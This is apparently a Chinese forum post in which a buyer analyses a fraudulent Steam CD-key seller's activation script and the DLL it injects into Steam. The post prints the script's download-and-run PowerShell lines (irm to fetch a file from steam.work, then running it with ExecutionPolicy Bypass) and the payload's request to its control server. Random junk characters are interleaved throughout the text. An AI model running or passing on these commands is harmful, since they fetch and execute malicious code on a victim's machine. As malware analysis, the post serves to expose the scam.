|
|
刚刚去买了个 cdkey 准备送给朋友,结果一看发货介绍感觉有点不对劲:
8 z% v+ L. @$ L( ?
5 H* @5 r( R8 o% b2 v Y
, h; J0 U1 c& i0 v啥啊,irm iex 这不是经典的从网络获取脚本并执行的操作吗,怎么领个激活码还要搞这?! t+ w" w* f# m* Q+ A# x" I
7 s' {2 K7 n: c% _* U# U
我一开始还以为是自动安装加速器,商家还怪好的捏,直到我激活不了,把这脚本拉下来看了看:
- O" B* P7 A3 B9 S$ J% n- B 
q0 `! n9 M) p r好家伙 这玩意整了个极其有欺骗性的东西,因为powershell的多行注释正好是<# #>,正好 HTML 文件的开头是 <!DOCTYPE html> 这鸟人给他改成 <#!DOCTYPE html> 就变成 powershell 的注释了.. 我都差点没看出来..网页还做了 UA 判断和跳转,真是够阴损
* i2 T! K) r' ^1 r2 } F6 _' E* |/ _! Y
那么真实的代码就只剩两行了:* _2 Z9 [1 D8 c( \, \+ E
[PowerShell] 纯文本查看 复制代码: I; Z( |& g9 D* |& g- H3 z
?
$ w# ~4 `, D. Z$ t" d+ t/ B. t12 d# Y: E; c5 x& \+ Q% E
2
" A( X& ~8 c! w* `, x* z | irm steam.work/pwsDwFile/new1 -OutFile x.ps1' H4 w, v3 @+ ]) l z' ]- g1 B+ J
powershell.exe -ExecutionPolicy Bypass -File x.ps1;6 ?1 z* q* D9 i% x& z' z
; J6 @1 [. Q9 }4 W; M! X
| 1 h* P K) q1 m
/ a `# ]; A9 L( N$ Q& f# u& [0 r J# P8 H9 S& o
% Y v2 g# q4 v% r( N' e# e$ A7 |
! [. k; R- I/ N看得出来,又是下脚本...我们把这玩意也下下来看一眼:
8 r6 r# p& [2 o9 P& } / G) }2 R* F* m. }8 v: N n7 q
我怎么兑换个激活码你还给我注入上 Steam了!有病啊!- ?* Z; g! n- x
那么我们便不得不好奇一下注入的文件里到底干了啥呢,我们下下来拖进静态分析,但是里面几乎啥都没有,只有两个有意思的地方:! _5 D0 k# B4 S% o q8 n
1. 把危险函数 VirtualAlloc 等 伪装成普通函数:' i& j/ {0 p3 x. b8 K
+ [8 w) R+ Y8 ^: \. ~4 W
2. 里面有 zlib.inflate (图里打错了)
& D2 {; ]- a, J9 t! y
: R' d2 O& b5 F2 h6 p; l- e: ~" N1 Q' c
看上去他是在尝试现场解压某种payload来执行啊!我们直接开一个 Windows Sandbox 来动态调试一下:
* r$ h* {* D1 g3 Z, ~3 C打开 x32dbg,在 zlib.inflate处打断点,很容易就拿到解压出的东西
4 y- M* Y3 d4 y m" I: W 6 U7 S+ T8 @; e7 F% k) L' r
[eax + 0x4 * 3] -> 解压出缓冲区指针
5 U4 K$ E; p, s& P0 y/ M[eax + 0x4 * 5] -> 解压出数据长度
2 R" o& |; b' c1 k% D. Q不看不知道,一看 MZ 开头,PE格式没跑了,直接一个 savefile 把它存下来,拖进 Binary Ninja( z( H# A* w( f5 x; Z1 H& u- c
这个文件也有点诡异,有三个 .text 段里面两个都是空的,还有一个 XRef 几乎扫不出来...总之先看一眼 IAT:; i! P% B; X9 `# ~/ |
, G' y$ `6 L0 Z) F* q2 m# X
怎么还引用了一个 winsqlite 啊,看起来像是打算操作 Steam 的数据库?: ^# V ^) w+ _5 F$ Q, T

5 X& n/ a8 z+ ^2 e: q# |这里还有一些十足诡异的找不到引用的函数,看上去是加密的字符串
- R+ p; m5 }) ]' |
- S3 ?" [5 o2 L* a0 Y) o/ y(接前文)
) Y# h$ s A1 {8 i/ `那么自然我们现在应该给导出的仅有的几个函数打一下断点看看;首当其冲怀疑的就是这个网络函数
0 G4 s( W/ J# `& P( {直接先在该 dll 加载前打断点,暂停后在InternetOpenA打断点;发现有反调试检测,用 ScyllaHide Basic 轻松过掉+ i) V( L' O2 a. h# ]
然后就断下来了,我们来看一眼
- m q) Z! `6 v* J' T
. g+ w [2 s* i3 ]" ~4 @直接找到病毒开始请求配置的地方和端点了,大收获啊;但是我们直接访问 http://api.steam.work/api/integral/vs ,他是返回 403 Unauthorized 的,看来可能有什么 UA,POST body之类的,继续下断点查一下& C+ {: q- B" r- D- I
在InternetOpenA InternetConnectA HttpOpenRequestA HttpSendRequestA,成功还原整个请求:
! C& c' B8 q ~
N1 @3 }: ~" V g- V6 ZHTTP1.1 POST http://api.steam.work/api/integral/vs8 Y; T2 f" k! ^* r6 t6 R" h
Referer: version
- ~9 D8 L6 q' _# b/ w9 {1 Uuser-agent: steam9 f" D" s E- T3 P" f H
{"sign":"ckv"}
% `+ R" f- x! x" S
" m4 N: \' r; k! B+ l% a. a, M! o- j. ]6 G3 u

4 |( F7 [$ R& L$ Z2 H
9 Z8 Y p" x9 I |返回值拿到手,只有一串不知道是什么的 hex;我们先再看看其他几个点
& h" N: x1 h+ g( Rsqlite这边下断点以后啥也没有,可能是激活的时候才会操作(我用的Windows Sandbox,不知道为什么打不开Steam……)2 W6 W3 _ J4 F8 m3 u# V
' S- B3 [3 O6 R& a+ U7 z于是转移到一台实机上继续分析。, D+ ^, x2 `& u3 a
5 x$ {/ a: L& U& q X3 O( `
3 }0 g" E. g8 p' k4 x直接拿它给的虚假激活码来激活,可以直接断在 HTTP 请求点
* E$ P& |5 G9 i) v2 z把请求掏出来看看:
* W6 y6 ~, Y( ]" [: D& t, x, { 1 ]# w; t! n( I
看起来是成功了,返回一个 code 和一个 data;' V5 q, {$ i; c9 g
这个 ID 又是啥?- E. m0 o% R5 Q* v3 L
X& s$ P$ X' m. s0 q# M0 k
哦,哈迪斯的 App ID; q, o6 E) ^& y; N
那么接着调试,在一通奇奇怪怪的网络请求之后,它下下来一个 8k 的文件到 steam 的目录里
# F& B' b, u* ]1 Y' n; YC:\Program Files (x86)\Steam\package\data0 H0 j. o' T' b7 y, v+ o( ^1 E

8 L; M2 b1 r1 t2 _' d4 F这是干啥的呢?看看我们正常的 Steam 这里有什么...居然什么都没有!
% V! ~9 g" p8 }) }# _: C3 |那么就说明,这个文件是病毒专用的了;我们直接 ImHex 打开
$ _# V/ q: G" d3 c. e4 Y, z ! c( v" a7 R2 Y2 L% C
居然是个数据库!怪不得他要链 winsqlite;那这个数据库里有啥?我们丢进查看器:. `9 W" D/ q# v4 J! F% k
( b q" a7 x9 {3 B
有个appid,和两个不认识的hex;把键名拿去搜搜看:5 E& {; |9 w) h$ J

7 _+ t& c ~/ o$ a0 W/ i4 t
4 [- M/ I+ N: d/ g) B! |原来是这样!这是一种叫做“清单入库”的已经广为流传的Steam免费入库方式,结果被不法商家用于欺诈消费者,十分恶劣!! n3 D! L. N4 A" y0 B |4 b
) i' |- z d" }- |( _) T+ c6 X
还有一些相关信息,大家可以自行查看→ https://github.com/pjy612/SteamManifestCache/discussions/374 https://github.com/pjy612/SteamManifestCache/wiki/DecryptionKey0 \/ ?( R% d" {* `3 [
8 f9 _( m) s. [6 G0 R& d5 y+ _! V | 8 }! F: B" o. m6 T
3 o! J$ v$ d. u- Y# w y
1 T8 i6 z0 X3 ?
; Z' y- T! O) H- N
0 c+ a P% k/ x( o
8 [+ x3 v* U2 t: X
0 X* E4 }7 P! |2 A( o
0 } t( f4 U6 I9 ?
3 V8 c) B H4 _7 T. d: Y! u% u5 Z0 C- F6 a7 {! r2 z6 ~
8 g9 a9 O( S9 T! V
|
|